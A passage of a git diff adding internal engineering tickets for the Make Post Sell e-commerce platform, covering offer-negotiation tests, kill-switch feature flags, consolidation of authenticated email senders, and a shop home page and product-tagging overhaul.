| `make_post_sell/lib/offer.py` | Pure-function counter / accept / decline / withdraw / expire logic |
| `make_post_sell/lib/offer_tick.py` | Scheduled expirations + ending-soon notifications |
| `make_post_sell/lib/email_notifications.py` | Offer email templates |
| `make_post_sell/routes.py` | All offer routes |
| `make_post_sell/templates/offer.j2` | Offer detail page with event timeline |
| `make_post_sell/templates/offers_dashboard.j2` | Seller + buyer dashboard (single template, dual-mode) |
| `make_post_sell/templates/product.j2` | Make-offer button (server-rendered) |
| `make_post_sell/templates/content.j2` | Same |
| `make_post_sell/templates/shop_settings.j2` | `offer-settings` form section |
| `make_post_sell/templates/product_edit.j2` | `allow_offers` toggle |
| `make_post_sell/templates/styleguide.j2` | Component examples |
| `make_post_sell/static/js/offer.js` | Modal form, AJAX submit, state-badge update |
| `make_post_sell/static/js/watch.js` | `updatePageContent` swaps make-offer button + state |
| `make_post_sell/static/css/common.css` | Offer component styles (tokens-only) |
| `make_post_sell/scripts/alembic/versions/XXXX_offer_tables_and_settings.py` | Migration with guards |
| `make_post_sell/scripts/offer_tick.py` | CLI entry point for cron |
| `make_post_sell/tests/test_models.py` | Unit tests |
| `make_post_sell/tests/test_integration.py` | Integration tests |
| `make_post_sell/tests/test_functional.py` | Functional tests |
## Tests
### Unit (`test_models.py`)
- `MpsOffer` state helpers (`is_open`, `is_terminal`, `time_remaining_ms`)
- `MpsOffer.current_party_user` returns buyer or seller correctly
- `lib/offer.counter_offer`:
- wrong-turn raises
- over-cap raises
- below-floor raises
- happy path flips party, increments round, sets state
- `lib/offer.accept_offer` — flips to accepted, writes event, creates cart line
- `lib/offer.decline_offer` / `withdraw_offer` — terminal, no further action
- Auto-accept: offer ≥ threshold → state=accepted directly
- Auto-decline: offer < threshold → state=declined directly
- `Shop.offer_settings_dict` returns shape consumed by template
- `Product.offers_allowed` resolves per-product override + shop default
### Integration (`test_integration.py`)
- Full negotiation: buyer offers → seller counters → buyer accepts → cart
populated at agreed amount → checkout → state=paid
- Round cap forces accept/decline at round_count == max
- Expiration: offer past `expires_timestamp` flipped to expired by tick job
- Auto-accept threshold path
- Auto-decline threshold path (silent — no seller notification)
- BYOB: offer-related thumbnails use shop bucket
- Anti-abuse: 6th offer in 24h from same buyer → 429
- Self-offer (buyer_user_id == seller_user_id) → 403
### Functional (`test_functional.py`)
- `POST /p/{id}/offer` — anon redirect, signed-in 200, self-offer 403
- `GET /o/{id}` — anon 403, buyer 200, seller 200, third party 403, admin 200
- `POST /o/{id}/counter` — wrong turn 400; right turn 200
- `POST /o/{id}/accept` — populates cart line item; cart total = agreed amount
- `POST /o/{id}/decline` / `withdraw` — terminal state, button disappears
- Make-offer button rendered when `allow_offers` resolves True; hidden otherwise
- Watch mode SPA: navigating updates make-offer button visibility + state badge
- Seller dashboard `/s/{shop_id}/offers` — only shop owner; 403 for others
- Buyer dashboard `/u/{user_id}/offers` — only buyer or admin
- `offer-settings` form section POST round-trips all 7 fields
## Verification
1. `source vars.sh && make test` — all pass
2. Local dev: enable offers on a shop, opt a product in, submit offer from
a different account, counter from owner, accept, pay via cart, verify
`state=paid` + transfer
3. Test auto-accept (high offer) and auto-decline (low offer) branches
4. Test round cap (3 default) — 4th counter forced to terminal
5. Test expiration via cron + manual tick
6. Email log shows all 8 notification types fire across happy + sad paths
7. Push → CI green → deploy → bump GIT_HASH
8. Update marketing portal index.html + pricing.html
## Coupling Notes
- **MPS-20** introduces `pricing_mode` on `Product`. If MPS-20 lands first,
this ticket reuses that column (modes 3 + 4). If MPS-21 lands first,
add `pricing_mode` here and MPS-20 extends it.
- Cart association proxy pattern: mirror `CartCoupon` / `CartGiftCard`
exactly — ordering rules already defined (gift cards apply after coupons).
Offer line is its own item (single-product cart with agreed price);
doesn't interact with coupon/gift-card discount stack.

140
docs/tickets/mps-22.md Normal file
View file

@ -0,0 +1,140 @@
# MPS-22: Kill-Switch Feature Flags — Karaoke + Torrent Off by Default
## Status
**TO IMPLEMENT.** Karaoke (MPS-18) and torrent (MPS-19) are broken in
production. Per-shop opt-in toggles already exist, but shops that flipped
them on still see broken UI. Need a global kill switch above the per-shop
toggle so neither feature surfaces anywhere until fixed.
## Problem
- Karaoke is gated only by `shop.unsandbox_public_key` + `secret_key`. A
shop with creds set sees broken karaoke UI on every product page.
- Torrent is gated only by `shop.torrent_enabled`. Toggle on → broken
magnet button + dead backfill UI.
We don't want to revert the code (the work is real and resumes when
fixed) — we want a global flag that hides the UI and 404s the routes
until we flip it back on.
## Proposal
Mirror the existing `app.features.popout_player.enabled` pattern exactly:
1. **Two new ini settings**, both default `False`:
- `app.features.karaoke.enabled = ${MPS_FEATURES_KARAOKE_ENABLED:-False}`
- `app.features.torrent.enabled = ${MPS_FEATURES_TORRENT_ENABLED:-False}`
2. **Two reified request properties** in `request_methods.py`:
- `request.karaoke_enabled`
- `request.torrent_enabled`
3. **Template guards** wrap every UI surface in `{% if request.X_enabled %}`
4. **View + route guards** return `HTTPNotFound` when flag off (defense in
depth — UI hiding is not security)
5. **Watch JSON** omits karaoke / torrent keys when flag off so SPA
navigation doesn't try to render them
6. **Backfill scripts** skip work when flag off
## Why off-by-default vs `True` like popout_player?
`popout_player` defaults `True` because it works. Karaoke and torrent
default `False` because they don't. When MPS-18 and MPS-19 land, flip
the dev default to `True` and add `MPS_FEATURES_KARAOKE_ENABLED=True`
to `~/git/foxhop-pillar/uwsgi/makepostsell/init.sls` for prod.
## UI Surfaces to Hide
### Karaoke
| File | Surface |
|------|---------|
| `templates/shop_settings.j2` | Unsandbox API keys section + backfill button |
| `templates/content.j2` | Karaoke player toggle + URLs |
| `templates/player.j2` | Karaoke audio source switch |
| `templates/snippets/related_content.j2` | Karaoke indicator on related items |
| `templates/home.j2` | Any karaoke discovery / promo |
| `static/js/watch.js` | Karaoke toggle (JSON keys absent → no-op naturally) |
### Torrent
| File | Surface |
|------|---------|
| `templates/shop_settings.j2` | Torrent settings section + backfill UI + status poll |
| `templates/content.j2` | Magnet link button |
| `templates/product_edit.j2` | Per-product opt-in toggle |
## Routes to 404 When Off
| Route | View |
|-------|------|
| `POST /karaoke/{product_id}` | `views/watch.py:karaoke_process` |
| `GET /s/{shop_id}/torrent-backfill-status` | `views/shop.py` |
| Settings `form_section=backfill-karaoke` | `views/shop.py:1019-1023` |
| Settings `form_section=unsandbox-settings` | `views/shop.py` (creds save) |
| Settings `form_section=torrent-settings` | `views/shop.py` |
| Settings `form_section=backfill-torrent` (if added by MPS-19 first) | `views/shop.py` |
| Karaoke trigger in `views/product.py:464-475` | gate on `request.karaoke_enabled` |
## Files
| File | Change |
|------|--------|
| `data/development.ini` | Add 2 feature flag settings, default False |
| `make_post_sell/request_methods.py` | Add 2 reified request properties |
| `make_post_sell/templates/shop_settings.j2` | Wrap karaoke + torrent sections in flag guards |
| `make_post_sell/templates/content.j2` | Wrap karaoke + magnet UI |
| `make_post_sell/templates/player.j2` | Wrap karaoke toggle |
| `make_post_sell/templates/snippets/related_content.j2` | Wrap karaoke indicator |
| `make_post_sell/templates/home.j2` | Wrap any karaoke promo |
| `make_post_sell/templates/product_edit.j2` | Wrap torrent opt-in toggle |
| `make_post_sell/views/watch.py` | 404 `karaoke_process` when off; omit karaoke keys from JSON |
| `make_post_sell/views/content.py` | Omit karaoke keys from template context when off |
| `make_post_sell/views/product.py` | Skip karaoke spawn when off |
| `make_post_sell/views/shop.py` | 404 form_sections + backfill status when off |
| `make_post_sell/scripts/backfill_karaoke.py` | Bail with informative message when off |
| `make_post_sell/tests/test_models.py` | Request property unit tests |
| `make_post_sell/tests/test_integration.py` | Form section refusal when off |
| `make_post_sell/tests/test_functional.py` | UI hidden / routes 404 when off |
| `CLAUDE.md` | Document kill-switch pattern + current flag state |
| `docs/architecture.md` | Add MPS-22 to ticket index |
## Tests
### Unit (`test_models.py`)
- `request.karaoke_enabled` returns False when ini value is `False` / `"False"` / `"0"` / `"no"` / `"off"`
- Returns True when ini value is `True` / `"True"` / `"1"` / `"yes"` / `"on"`
- Defaults to False when key missing (kill-switch posture: silent missing == off)
- Same matrix for `request.torrent_enabled`
### Integration (`test_integration.py`)
- Settings POST `form_section=unsandbox-settings` raises HTTPNotFound when karaoke off
- Settings POST `form_section=backfill-karaoke` raises HTTPNotFound when karaoke off
- Settings POST `form_section=torrent-settings` raises HTTPNotFound when torrent off
- When flag on, same POSTs succeed (existing behavior)
### Functional (`test_functional.py`)
- Shop settings page response **does not contain** strings "Unsandbox", "karaoke", "Backfill Vocal", "torrent", "magnet" when both flags off
- Shop settings page **does contain** them when both flags on
- `POST /karaoke/{product_id}` → 404 when off, 200 when on (with creds)
- `GET /s/{shop_id}/torrent-backfill-status` → 404 when off
- Product page response does not include magnet button or karaoke toggle when off
- Watch JSON response does not include `karaoke_*` or `torrent_*` keys when respective flag off
## Go-to-Market
| Surface | Action |
|---------|--------|
| `~/git/foxhop-pillar/uwsgi/makepostsell/init.sls` | (later) add `MPS_FEATURES_KARAOKE_ENABLED` and `MPS_FEATURES_TORRENT_ENABLED` env vars when ready to flip on |
| `docs/architecture.md` | Note MPS-22 + reference both flags in feature toggle matrix |
| `CLAUDE.md` | Add "Feature Kill Switches" section listing current flags |
No marketing portal change — these are internal flags. Only flip MPS-18 / MPS-19 GTM when those tickets ship.
## Verification
1. `source vars.sh && make test` — all pass
2. Local dev: `make serve`, visit shop settings → no Unsandbox section, no torrent section
3. Visit a product page → no magnet button, no karaoke toggle
4. `curl -X POST /karaoke/{product_id}` → 404
5. Flip both env vars to `True`, restart, verify all UI returns
6. Flip back to `False`, verify clean hide again
7. Push → CI green → deploy → bump GIT_HASH
8. Prod check: visit my.makepostsell.com shop settings, confirm sections gone

95
docs/tickets/mps-23.md Normal file
View file

@ -0,0 +1,95 @@
# MPS-23 — Consolidated transactional sender identity + shop contact email
**Status:** Core shipped (2026-05-12) — single sending identity + shop display
name + DNS are live. **Remaining:** the Reply-To / shop-contact-email decision
(see "Open question" below), and the optional `d=origin.makepostsell.com` DKIM
key for author-domain-exact alignment.
## Shipped
- `app.email.sender` defaults to `no-reply@origin.makepostsell.com` (overridable
via `MPS_EMAIL_SENDER`); `app.email.from_name` defaults to `Make Post Sell`.
- `lib/mail.py`: `format_from_header()` helper; `send_pyramid_email()` sets the
From display name to `request.shop.name` when in shop context, else
`email.from_name`. `send_email()` gained a `from_name` kwarg.
- DNS: `origin.makepostsell.com TXT "v=spf1 a a:mx1.foxhop.net -all"` (in
`proxy.unturf.com/ingress/pdns-init.sh`). opendkim on the origin already signs
`*@*.makepostsell.com` with `d=makepostsell.com`, relayed via mx1's warm IP.
- Tests: `TestMailFromHeader` in `test_models.py`.
## Problem
MPS sends each shop's transactional mail (OTP login codes, purchase receipts,
sale notifications, gift cards, offers, invites) `From: no-reply@<request.domain>`
— i.e. from the shop's *own* hostname:
- `my.makepostsell.com` → `no-reply@my.makepostsell.com`
- `<shop>.makepostsell.com` → `no-reply@<shop>.makepostsell.com`
- operator custom domain `shop.unturf.com` → `no-reply@shop.unturf.com`
For operator custom domains, MPS controls no DKIM key for that domain and the
domain's SPF doesn't authorize MPS's sending infrastructure, so the mail is
**unauthenticated** (no DKIM, no SPF pass) → Gmail spam-folders it. Even
`no-reply@my.makepostsell.com` lands in spam on first contact because
`makepostsell.com` is a cold direct-signing identity (its mail historically
went through Mailgun's `mg.makepostsell.com`, never `makepostsell.com` itself).
Background: 2026-05-12 mail-infra work moved both origin boxes
(`origin.makepostsell.com`, `origin.remarkbox.com`) to DKIM-sign at origin and
relay through `mx1.foxhop.net` (warm IP). `my.makepostsell.com` / `*.makepostsell.com`
/ `remarkbox.com` mail now passes SPF+DKIM+DMARC. Operator-custom-domain shops
are the remaining gap, and even the makepostsell ones benefit from one
consistent warmed identity.
## Fix
Send **all** MPS transactional mail from one warm, authenticated identity:
`no-reply@origin.makepostsell.com`.
- opendkim on `origin.makepostsell.com` already signs `*@*.makepostsell.com`
with `d=makepostsell.com` → `no-reply@origin.makepostsell.com` is signed
(DMARC-aligned at the `makepostsell.com` org-domain level under relaxed mode).
- `origin.makepostsell.com` SPF record (added in `proxy.unturf.com/ingress/pdns-init.sh`):
`v=spf1 a a:mx1.foxhop.net -all` → authorizes the origin box + the mx1 relay.
- Result: every shop's mail → DKIM-signed, SPF-pass, DMARC-pass, delivered
from mx1's warm IP — independent of which shop/domain it's for.
Recipient clarity: put the shop name in the display name —
`From: "Acme Shop" <no-reply@origin.makepostsell.com>`.
## Open question — Reply-To / customer support
Shops have no contact email today (`Shop` model has no email/contact column).
If a customer replies to an OTP/receipt it hits `no-reply@…` and vanishes.
Options:
1. **Add `Shop.support_email`** (nullable) + a field in `shop-settings`; set
`Reply-To: <support_email>` when the operator has filled it in. Opt-in,
privacy-safe. *(recommended)*
2. Catch-all `reply@origin.makepostsell.com` → forward to the shop owner's
account email. Requires inbound mail handling + a mapping table.
3. Default `Reply-To` to the shop owner's user email. Simple, but leaks the
owner's personal address.
Until decided: ship without `Reply-To` (honest — it's `no-reply@`).
## Implementation
- **Config:** `app.email.sender = no-reply@origin.makepostsell.com` in
`data/development.ini` + the prod pillar (`foxhop-pillar/uwsgi/makepostsell/init.sls`).
`lib/mail.py:send_pyramid_email` already reads `request.app.get("email.sender", …)`.
- **`lib/mail.py`:** extract `_build_from_header(request, sender_email)` →
`email.utils.formataddr((display_name, sender_email))`, `display_name` =
`request.shop.name` when a shop is in context, else the site name. Add
`Reply-To` per the chosen option. Use the helper in `send_email`/`send_pyramid_email`.
- **DNS (done):** `origin.makepostsell.com|TXT|v=spf1 a a:mx1.foxhop.net -all`.
- **Optional hardening:** dedicated DKIM key for `origin.makepostsell.com`
(publish `<sel>._domainkey.origin.makepostsell.com`, add to opendkim) so the
signature is `d=origin.makepostsell.com` — author-domain-exact rather than
org-aligned. Marginal deliverability gain; not required.
- If option (1): `Shop.support_email` column + Alembic migration (`server_default ''`)
+ `shop-settings` form field + validation + the usual three-layer tests.
- **Tests:** unit (`_build_from_header`, `Shop.support_email`), integration
(shop settings save), functional (settings POST, OTP flow still works).
- **Docs:** `docs/architecture.md` ticket index, `docs/design-system.md` if a
new form field, `CLAUDE.md` note, portal `pricing.html`/`index.html` if
surfaced to users.

949
docs/tickets/mps-24.md Normal file
View file

@ -0,0 +1,949 @@
# MPS-24: Shop home page overhaul + product categorization
## Status
**PHASES 1 + 2 SHIPPED (2026-05-15).** Tag model + chip strip +
sectioned-lanes layout + bulk tagger live behind an opt-in `home_layout`
selector (default `0` = flat = unchanged). Phase 2 adds a
title-plus-description auto-tagger surfaced as one-click cluster apply
in the bulk tagger UI + `scripts/backfill_tags.py` CLI. Phase 3
(uncloseai-backed ML categorization behind a kill switch) follows under
this same ticket per CLAUDE.md "One Feature, One Ticket".
**Background:** operator feedback on `shop.printableprompts.com` flagged our
default home page as the reason for considering a move to Shopify. We
needed an opt-in home-page layout overhaul and a way to surface natural
product categories so shoppers can browse a 481-item shop without
scrolling a flat list.
## Problem
`shop.printableprompts.com` is a digital-printables shop with **481 products**,
all K-1 classroom materials. Crawled 2026-05-15 from
`https://shop.printableprompts.com/sitemap.xml`:
- 481 product pages, 2 shop pages, no tag/category pages (none exist).
- Natural groupings are obvious from titles alone: Math (`Addition to 10`,
`Counting to 100`), Seasonal/Holiday (`Valentine's Day`, `St. Patrick's Day`,
`Christmas`), Literacy (`Little Red Hen`, `Frog and Toad`), Science (`Life
Cycle of a Butterfly`, `Solar Eclipse`), Novel Studies (`Stone Fox`,
`Chocolate Touch`), Procedural Writing (`How to Build a Snowman`), Thematic
Units (`Thanksgiving Writing`).
- Our home today renders a flat chronological grid with no way to filter,
group, or jump to a topic.
### Why an operator would reach for Shopify
Shopify shops get **collections** (operator-defined groups), **automated
collections** (rule-based — "all products with tag X"), a sectioned home page
template, collection lanes on home, a faceted product index, and tag-based
search. None of that exists in MPS.
### Current MPS home page
- Route: `home` / `shop` / `shop_slug` → `views/shop.py:212` (`home`) +
`views/shop.py:226` (`shop`).
- Template: `templates/home.j2` (shared by site root + merchant shop).
- Data: `get_products_from_a_shop(shop, visibility=1)` at
`models/product.py:730` — single query, ordered by `updated_timestamp DESC`,
no grouping, no filtering, no pagination.
- Visible features: optional sales-stats banner, flat `.serp` grid, optional
subscription CTA. That's it.
### What we already have (do not rebuild)
| Capability | Where | Notes |
|---|---|---|
| Visibility (public/private/unlisted) | `Product.visibility` (`product.py:130`) | Already filters home grid |
| Digital vs physical | `Product.is_physical` (`product.py:157`) | Binary, not a category |
| Sellable vs content | `Product.is_sellable` (`product.py:154`) | Blog post vs product |
| Pricing modes | `Product.pricing_mode` (`product.py:137`) | Fixed/auction/offer combos |
| Grid lanes (masonry) | `Shop.grid_lanes_enabled` (`shop.py:71`) | Layout polish only |
| Watch mode SPA | `Shop.watch_mode_enabled` (`shop.py:150`) | Sticky media SPA |
| Discovery ring (circular order) | `Shop.json_discovery_ring` (`shop.py:216`) | For watch mode SPA, not home |
| Full-text title search | `views/shop.py:275` → `get_products_by_keywords` (`product.py:740`) | Title `ilike`, no tags, no description |
| Sandbox mode (creative filters) | `Shop.sandbox_mode` (`shop.py:166`) | Image filters — not categorization |
### What we do NOT have
- No `Tag` model. No `Collection` model. No `Category` table. No tag-style
fields on `Product`. No tag-aware search.
- No LLM or embeddings infrastructure inside MPS (karaoke is audio ML routed
to unsandbox; `lib/sentiment.py` is a rule-based comment scorer).
- No featured-item or hero columns on `Shop`.
- No browse routes beyond `/search?keywords=`. No `/tag/X`, `/collection/X`,
`/category/X`.
## Goals — fewest clicks to a purchase
Our checkout flows are done; what's missing is *navigation into* our catalog.
Every design decision below optimises for: **shopper lands → finds a relevant
product → opens it → buys**. Each extra click, extra page, or extra scroll
between "land" and "open" is friction we cut.
1. Opt-in. Default `home_layout = 0` (flat) keeps every existing shop pixel-identical.
2. A flipped-on shop with no tagging effort still produces a usable, grouped
home page within minutes of opt-in — backfill must work without operator
hand-labeling 481 products.
3. Shopper sees the grouping **on land**, not behind a click. Categories live
above the fold; chip click filters in place (no page reload, no extra page).
4. Operator can correct mistakes — auto-grouping is never final state.
5. No new external dependencies on first ship. ML-assisted tagging stays
pluggable, off-by-default, last phase.
## Two orthogonal design dimensions
We have **two independent decisions** that combine to form the overhaul.
Treating them as one decision is what makes the design feel huge — splitting
them lets us ship Phase 1 in a week.
### Dimension A — How products get grouped (categorization mechanism)
| Option | Approach | Operator effort | Quality on day 1 | Infra cost | Reversible? |
|---|---|---|---|---|---|
| **A1** Manual tags | Operator types comma-separated tags per product (or via bulk admin) | High (481 products × a few seconds) | Perfect — operator picks | Tiny — `Tag` + `product_tag` table | Trivial |
| **A2** Manual collections | Operator creates named collections, assigns products | Medium-High | Perfect | Small — `Collection` + `collection_product` table | Trivial |
| **A3** Auto-tag from title keywords | Deterministic rules: tokenize title, strip stopwords, group by shared stems, emit top-N tags | Zero on backfill, low on new uploads (operator confirms suggested tag) | Decent — works very well for printableprompts because titles are descriptive | Tiny — pure Python, no external deps | Trivial |
| **A4** Auto-tag via embeddings + clustering | Embed each product title+description, cluster via K-means or HDBSCAN, label clusters by centroid keyword | Zero | Better than A3 on shops with cryptic titles | Moderate — embedding lib + model file (~100MB) or external API | Trivial (re-cluster) |
| **A5** Auto-tag via LLM | One-shot call per product: "pick 1–3 categories from this taxonomy" | Zero | Best | High — needs LLM API, retry/timeout/cost handling, kill-switch | Trivial (re-run) |
| **A6** Hybrid (A3 or A5 → operator approve) | Auto-suggest tags on product edit form; operator one-click accepts | Zero baseline + low correction | Best — operator owns final state | Same as picked auto-method | Trivial |
**Reads from CLAUDE.md** — "MPS uses one warm sending identity / one source of
truth / one place per fact" — argues we should pick one *storage* for groupings
and let mechanisms write into it. That storage is a `Tag` table. A1/A3/A5 all
write tags. A2 (collections) is a *different* primitive that we may want
on top of tags (a curated subset).
### Dimension B — How groups render on home (layout)
| Option | Layout | Shopper benefit | Implementation |
|---|---|---|---|
| **B1** Sectioned home (Shopify-style lanes) | One horizontal lane per category, products scroll horizontally within each lane; lanes stacked vertically | Browse by topic at-a-glance, see ≤10 per category | New template; loop tags → query per tag (capped) |
| **B2** Filter chips above flat grid | Existing grid stays; chip row at top (`Math · Seasonal · Literacy · ...`); clicking a chip filters the grid in place (no reload — JS optional) | Lightest visual change; preserves chronological signal | Existing template + chip strip + JS `data-tag` filter |
| **B3** Featured + flat grid | Operator picks ≤6 "featured" products shown as large cards; rest of catalog underneath in current flat grid | No categorization needed; operator merchandises | New `featured_product_ids` JSON column; small template addition |
| **B4** Sidebar nav | Left rail with category list; main pane shows filtered grid | Familiar pattern; bad on mobile (we have no sidebar pattern today) | Bigger template lift; mobile collapse |
| **B5** Tag cloud + grid | Cloud at top sized by tag popularity, grid below | Discovery-flavoured; less directed than chips | Similar to B2 but visual variant |
| **B6** Search-first | Big search bar hero, popular searches/tags chips under it, grid below | Best for shops with a known-item search pattern | Promote existing `/search` UI; needs popular-search data we already log in `ShopSearchRequest` |
A and B compose. E.g. **A6 + B1** = "auto-suggest tags with operator approval,
rendered as sectioned lanes." **A1 + B2** = "manual tags, filter chips." Both
ship.
## Phased implementation (all in this ticket)
Per CLAUDE.md "Ticket Scoping" — one feature, one ticket. Phases below land
incrementally but live under one MPS-24 thread.
### Phase 1 — Foundation: tags + filter chips on flat grid (A1 + B2)
Smallest ship that solves the printableprompts feedback. Cuts shopper clicks
from "scroll 481 items" to "click chip, scan ~50, click product."
- New `Tag` model (`id`, `shop_id`, `name`, `slug`, `created_timestamp`).
- New `product_tag` association (composite PK `product_id` + `tag_id`).
- New `Product.tags` relationship (collection, not lazy=dynamic — small N per
product).
- New `Shop.home_layout` `Integer` column, default `0`:
- `0` = flat (current behavior, unchanged)
- `1` = filter chips on flat grid
- `2` = sectioned lanes (Phase 2)
- New form section `home-layout-settings` in `views/shop.py` + `shop_settings.j2`.
- Tag editor: comma-separated input on product edit form (`product_edit.j2`)
— splits, slugifies, upserts `Tag` rows scoped to shop.
- Bulk tag editor: small admin page at `/s/{shop_id}/tags` listing tags +
product counts, click a tag → list of products with checkboxes to
add/remove. (Avoids forcing operator into product-by-product.)
- Home template: if `home_layout == 1`, render chip strip from
`shop.tags_by_popularity()` (top N, capped); chip click adds
`?tag=<slug>` to URL; server filters grid; JS enhancement does it in-place
(zero navigation cost when JS is available).
- Tag detail route: `/s/{shop_id}/tag/{slug}` for crawlers + no-JS users
(capability-driven presentation per CLAUDE.md).
- Filter chips also added to `/search` results so shopper can refine by tag
after a keyword query (`/search?keywords=X&tag=Y`).
### Phase 2 — Sectioned lanes shipped in Phase 1; auto-tag from title + description
Phase 1 already shipped sectioned-lane layout (`home_layout == 2`) — we
brought it forward because rendering the lanes was a one-line template
branch on top of the chip work. What remains for Phase 2 is the
**deterministic title + description auto-tagger** so an operator with 481
untagged products gets a working categorization in one click.
Inputs:
- `Product.title` — full token weight × **3** (short, decisive, intentional).
- `Product.description` — raw markdown stripped of formatting, tokenised,
weight × **1**, capped at the first ~100 unique tokens per product so
long blog posts don't drown short product copy.
Pipeline:
1. Tokenize title + description → lowercased words ≥ 3 chars.
2. Drop platform-default English stopwords + per-shop
`tag_stopwords_json` overrides. For printableprompts that adds
`write`, `room`, `activity`, `the`, etc.
3. Stem with a simple suffix-strip (no Porter port, no new dep) —
`seasonal`/`seasons`/`season` → `season`.
4. Build per-stem product sets across the catalog.
5. Drop stems whose slug already exists as a shop tag (we don't
re-suggest already-applied categories).
6. Keep stems carried by ≥ 2 products; rank by product count desc.
7. For each candidate stem, label = most frequent **original** word for
that stem (so `valentin` displays as `Valentine's`, not `valentin`).
Surface:
- New "Suggest categories from titles + descriptions" button on
`/s/{shop_id}/tags`. Renders a "Suggested categories" well listing each
candidate cluster — label, sample product titles, product count.
- One-click apply per cluster — creates the tag + bulk-attaches every
product in the cluster, all under one form POST.
- One-click dismiss per cluster — adds the stem's label to
`tag_stopwords_json` so it never resurfaces.
- Standalone CLI `scripts/backfill_tags.py --shop=<id> [--dry-run]` for
larger shops that prefer a terminal preview.
**A6 hybrid — suggest, never auto-commit.** Cluster output is rendered to
the operator; nothing writes `Tag` / `ProductTag` rows until the operator
clicks Apply.
No ML, no external deps. Pure Python over `Product.title` +
`Product.description`. O(N × tokens) over a shop's catalog.
### Phase 3 — ML-assisted categorization via uncloseai (A5)
Optional, off-by-default kill-switch (mirrors MPS-22 pattern):
`app.features.ml_categorization.enabled` default `False`.
- Per-product call to `uncloseai.com` OpenAI-compatible endpoint we already
operate — "pick 1–3 from this taxonomy (provided)."
- Cheaper than vendor LLMs because we run the endpoint ourselves.
- Same approve-don't-commit UX as Phase 2 — operator owns final state.
- Backfill script `scripts/ml_tag_suggest.py` runs over a shop's catalog,
writes suggestions to a new `tag_suggestion` table (not `product_tag`),
surfaces them in the bulk tagger for one-click accept.
- We do **not** ship embedding-clustering (A4) — A5 is cheaper to operate
given our existing uncloseai infrastructure, and the operator-approval UX
is identical so we don't need both.
Phase 3 lands behind the kill-switch even when shipped. Operator opt-in
required.
## Shop setting toggle (the operator-facing surface)
New form section `home-layout-settings`, added to the existing 19 sections in
`views/shop.py`. UI lives in `shop_settings.j2` alongside `ribbon-settings`.
### Columns added to `Shop`
| Column | Type | Default | Purpose |
|---|---|---|---|
| `home_layout` | `Integer` | `0` | 0=flat, 1=filter_chips, 2=sectioned_lanes |
| `home_layout_tag_limit` | `Integer` | `8` | Max chips / lanes to show on home |
| `home_layout_per_lane_limit` | `Integer` | `10` | Max products per lane (B1) |
| `featured_product_ids_json` | `UnicodeText` | `""` | JSON list of UUIDs for optional B3 hero strip; nullable, opt-in |
All `server_default` per CLAUDE.md SQLite migration rule.
### Form UI (operator's view)
A single select for `home_layout` with previewable explanations:
- **Flat grid (default)** — every product, newest first. Same as today.
- **Filter chips on flat grid** — flat grid with a clickable category strip
on top. Categories come from product tags.
- **Sectioned by category** — separate lanes per category, like a magazine
rack. Best for shops with 50+ products in 4+ categories.
Plus three numeric fields (tag limit, per-lane limit, featured strip on/off).
Plus a "Featured products" picker (Phase 1 ships the column + form, the rich
picker is Phase 2).
## Decisions (resolved at draft time — flag in review if fox disagrees)
1. **Many tags per product**, not single category. Matches printableprompts —
a product can be both `math` and `valentines`.
2. **Tags scoped per shop**, not platform-wide. Avoids collision between
unrelated shops (a music shop's `blues` ≠ a gardening shop's `blues`).
3. **Tag bulk editor reachable from `/actions/view`** as a new
`.mps-button` in `action-button-grid`.
4. **Mobile**: chip strip horizontally scrolls; sectioned lanes stack as
single-column below 800px (existing mobile reorder pattern in CLAUDE.md).
5. **Watch mode** uses `discovery_ring` once a shopper enters it — sectioned
home is entry-page only, no SPA JSON shape change.
6. **`/search?keywords=X&tag=Y`** — tag filter on search results in Phase 1.
7. **Stopwords**: per-shop `tag_stopwords_json` override on top of a
platform-wide default list.
8. **Phase 2 + 3 are suggest-then-approve only** — never auto-commit tags.
9. **Naming**: `Tag` not `Category` — tags are many-per-product and flat;
categories would imply a tree we are not building.
## Implementation (Phase 1 — shipped 2026-05-15)
| File | Change |
|---|---|
| `models/tag.py` (new) | `Tag` model: id, shop_id, name, slug, created_timestamp; unique `(shop_id, slug)`; helpers `get_or_create_tag`, `tags_by_popularity` |
| `models/product_tag.py` (new) | `ProductTag` many-to-many association with `(product_id, tag_id)` unique constraint |
| `models/product.py` | Add `tags` association_proxy |
| `models/shop.py` | Add `home_layout`, `home_layout_tag_limit`, `home_layout_per_lane_limit`, `featured_product_ids_json`, `tag_stopwords_json` columns + `is_home_flat`/`is_home_chips`/`is_home_lanes`/`home_layout_label`/`featured_product_ids`/`tag_stopwords` helpers + `tags` relationship |
| `models/meta.py` | Register `Tag` / `ProductTag` in `CLASS_TO_TABLE` |
| `models/__init__.py` | Import `tag` + `product_tag` modules |
| `scripts/alembic/versions/882d68db47fa_mps_24_*.py` (new) | Idempotent migration: creates `mps_tag` + `mps_product_tag` + 5 `mps_shop` columns; guards via `_table_exists` / `_column_exists` (CLAUDE.md pattern) |
| `routes.py` | Add `shop_tags` + `shop_tag_detail` before `shop_slug` catch-all |
| `views/shop.py` | `_build_home_layout_context()` helper; `home-layout-settings` form_section handler; `shop_tag_detail` + `shop_tags` (bulk tagger) views; tag filter param on `home` / `shop` / `search` views |
| `views/product.py` | Tag handling on product edit POST — comma-separated slugify + diff |
| `templates/home.j2` | Branch on `shop.home_layout` for chip strip / sectioned lanes / flat grid |
| `templates/shop.j2` | Same branching (used by `/s/{id}/{slug}`) |
| `templates/shop_settings.j2` | New `home-layout-settings` section |
| `templates/product_edit.j2` | Comma-separated tag input |
| `templates/shop_tag.j2` (new) | Tag detail page (works without JS) |
| `templates/shop_tags.j2` (new) | Bulk tagger UI: list tags + apply/remove per product |
| `templates/actions_view.j2` | Add Tags shortcut to operator action grid |
| `templates/styleguide.j2` | Live tag-chip + tag-lane examples under `#cards` |
| `static/css/common.css` | `.tag-chip-strip` / `.tag-chip` / `.tag-chip-active` / `.tag-lane` / `.tag-list` / `.tag-product-list` styles — tokens only, Grid only |
| `static/js/tag_filter.js` (new) | Progressive enhancement: in-place chip filter via `data-tag-slugs`; falls back to server `?tag=` |
| `tests/test_models.py` | `TestShopHomeLayout` + `TestTagModel` — 14 unit tests |
| `tests/test_functional.py` | `TestHomeLayoutAndTags` — 10 functional tests (settings save, tag editor, attach/detach, chip filter, tag detail) |
| `docs/architecture.md` | Add MPS-24 to feature matrix + ticket index |
| `docs/design-system.md` | Document MPS-24 chip + lane component classes |
| `CLAUDE.md` | New "Shop Home Layout + Tags" section + "Ticket Scoping — One Feature, One Ticket" rule |
| `~/git/www.makepostsell.com/index.html` + `pricing.html` | "Categorized Home Page" feature card + pricing list entry |
### Phase 2 — shipped 2026-05-15
| File | Change |
|---|---|
